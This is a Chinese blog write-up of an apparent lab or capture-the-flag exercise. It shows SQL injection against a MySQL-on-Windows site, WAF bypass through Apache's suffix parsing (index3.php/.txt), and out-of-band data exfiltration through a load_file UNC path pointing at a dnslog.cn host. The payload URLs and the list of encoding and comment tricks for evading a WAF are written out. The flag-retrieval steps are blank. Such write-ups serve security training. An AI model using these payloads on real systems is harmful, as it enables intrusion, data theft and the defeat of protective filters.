SQL注入 - DNSLOG注入 与 WAF绕过
SQL注入 - DNSLOG注入 与 WAF绕过
0x00
- 为什么经常说 完全和运维工作要左移(参考 CI/CD 流程) ? 不管说什么, 商业的本质是赚钱, 阻挡赚钱的一切都是异端。
- 在任何时候 信息收集 都很重要。 分析的对象是 信息 , 被利用对象的本质是 疏漏 。
信息分析可以找出这些疏漏
文件解析漏洞: 任意文件被指定解释器调用。
1. 指定执行: php xxx.php
2. 默认执行规则: apache.htaccess
WAF绕过: WAF 的作用是保护业务,而非阻断业务。 因此在设置 WAF 规则的时候, 一定会有各种业务因素导致 WAF 规则盲区。 使用各种方式, 绕过既定 WAF 规则。 1. 特殊字段出现常用注入字符。 2. WAF 影响性能 3. 业务烂但是必须上线。
mysql on windows 由于 windows 环境触发的特定利用方式。 1. UNC / dnslog
mysql 注入 - dns 注入
常规测试
http://59.63.200.79:8014/index3.php?id=1%20and%201=2
遇到了 WAF。
环境分析
打开 开发者工具 , 刷新页面,查看服务器返回 response headers
头信息
可以看到, windows , apache
WAF 绕过 与 apache 文件解析漏洞
apache 文件解析漏洞
- apache 有一个功能特性,将文件名后缀左右向左解析。
- 如果最右侧的后缀不识别,则向左移位。 例如,
index.php.qwe
。 先识别.qwe
不认识; 再识别.php
, OK。 - 如果查找最右侧的文件不存在, 则向左移位。 例如
1.example.com/index.php/.txt
。.txt
文件不存在; 再找index.php
, ok
- 如果最右侧的后缀不识别,则向左移位。 例如,
WAF 绕过
- 规则绕过, 分析规则, 使用加盐或编码方式等绕过。
- 编码: url, hex, base64
- 注释:例如mysql
/* xxx */
- 长字符: 11111111111111111=11111111111111111
- …
- 白名单文件绕过。 即使用平常大家都认为人畜无害的文件类型绕过。
- txt
waf+apache 组合拳
http://59.63.200.79:8014/index3.php/.txt?id=1 and 1=2
mysql on windows
由于windows 的 UNC 路径特性, 似的 myql on windows 可以使用 dnslog 注入。
dnslog 测试
http://59.63.200.79:8014/index3.php/.txt?id=1%20and%20load_file(%27//1.dl9ewg.dnslog.cn/1.sql%27)
通过dnslog 解析记录, 发现, dnslog oob 带外是可以用的。
flag 查找
|
|
|
|
flag: 1flag1good1
0xGG 参考文章
- 原文链接:https://typonotes.com/posts/2020/12/17/sql-inject-by-oob-dnslog-and-bypass-waf/
- 本文为原创文章,转载注明出处。
- 欢迎 扫码关注公众号
Go与云原生
或 订阅网站 https://typonotes.com/ 。 - 第一时间看后续精彩文章。觉得好的话,请猛击文章右下角「在看」,感谢支持。